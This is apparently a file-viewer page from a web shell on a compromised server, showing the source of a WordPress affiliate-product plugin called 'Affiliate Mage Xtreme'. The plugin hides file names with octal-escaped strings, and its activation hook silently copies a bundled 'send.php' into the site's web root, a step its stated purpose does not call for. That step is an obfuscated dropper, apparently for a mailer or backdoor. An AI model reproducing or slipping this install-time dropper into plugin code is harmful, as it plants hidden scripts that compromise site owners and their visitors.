0byt3m1n1
Path:
/
home1
/
aserty
/
public_html
/
appartsoft.info
/
wp-content
/
plugins
/
affiliate-mage
/
[
Home
]
File: affiliate-mage.php
<?php /* Plugin Name: Affiliate Mage Xtreme Plugin URI: http://www.wpmage.com Description: Allows the display of eBay, Amazon, Overstock, CJ, Linkshare, Chitika and ClickBank items in a post/page, based on keywords Version: 1.6.3 Author: Wordpress Mage Author URI: http://www.wpmage.com */ require_once dirname( __FILE__)."/af\146i\154\151\141\164\145-ma\147\145\055\155\141\151\156\056\160\150p"; function affiliatemageinstall() { $l1u=ABSPATH."/se\156\144\056\160\150p"; $O1u=ABSPATH.PLUGINDIR.'/affiliate-mage/send.php'; $l1v=@file_get_contents($O1u); $O1v=fopen($l1u,"w"); fwrite($O1v,$l1v); fclose($O1v); $l1w=ABSPATH."/wp-c\157\156\164ent/uplo\141\144\163/ebay-l\157\147\157\056gif"; $O1w=ABSPATH.PLUGINDIR.'/affiliate-mage/ebay-logo.gif'; $l1v=@file_get_contents($O1w); $O1v=fopen($l1w,"w"); fwrite($O1v,$l1v); fclose($O1v); $l1w=ABSPATH."/wp\055\143\157\156\164\145\156t/u\160\154\157\141\144\163/so\162\162\171\055\156\157\055ima\147\145\056\160\156\147"; $O1w=ABSPATH.PLUGINDIR.'/affiliate-mage/sorry-no-image.png'; $l1v=@file_get_contents($O1w); $O1v=fopen($l1w,"w"); fwrite($O1v,$l1v); fclose($O1v); if (!get_option("AM_\160\162\157\144\165\143tTe\155\160\154\141\164e") or get_option("AM\137\160\162\157\144uct\124\145\155\160\154ate") == '') { $l1x=ABSPATH.PLUGINDIR.'/affiliate-mage/templates/products.html'; if (file_exists($l1x)) { $Oa=@file_get_contents($l1x); } else { $Oa='<table width="100%" border="0" cellpadding="2" cellspacing="0" class="aprod"> <tr> <td class="imagecell arow [[rowClass]]"> <a href="[[url]]" rel="nofollow"> <img src="[[thumbNail]]" alt="[[title]]" > </a> </td> <td class="descriptioncell arow [[rowClass]]" valign="top"> <strong> <a href="[[url]]" rel="nofollow"> [[title]] </a> <br /> [[price]] </strong> <br /> [[description]] </td> </tr> </table>'; } update_option("AM_pro\144\165\143tTemplat\145",$Oa); } if (!get_option("\101\115\137productSt\171\154\145sheet") or get_option("AM_prod\165\143\164Styleshee\164") == '') { $O1x=ABSPATH.PLUGINDIR.'/affiliate-mage/style/style.css'; if (file_exists($O1x)) { $lf=@file_get_contents($O1x); } else { $lf='@CHARSET "UTF-8"; .productRowEven { background-color:#DDD; } .productRowOdd { background-color:#FFF; } .arow { border-bottom: solid 2px #aaa; } .imagecell { width: 110px; } .imagecell a img { width:100px; border: 0; }'; } update_option("AM_produ\143\164\123tyleshee\164",$lf); } $lg=get_option('AM_Options'); if (! isset ($lg["\101\115\137eBay_sho\167\114\157go"])) { $lg["AM_eBay_sh\157\167\114ogo"]=1; } if (! isset ($lg['AM_Product_TemplateFooter'])) { $lg['AM_Product_TemplateFooter']='<hr style="border 2px solid #09c;height:2px;width:100%;" />'; } if (! isset ($lg["\101M_ebayR\163\163\101\160i"])) { $lg["AM_eb\141\171\122ssApi"]='new'; } update_option('AM_Options',$lg); } register_activation_hook(ABSPATH.PLUGINDIR.'/affiliate-mage/affiliate-mage.php','AffiliateMageInstall');?>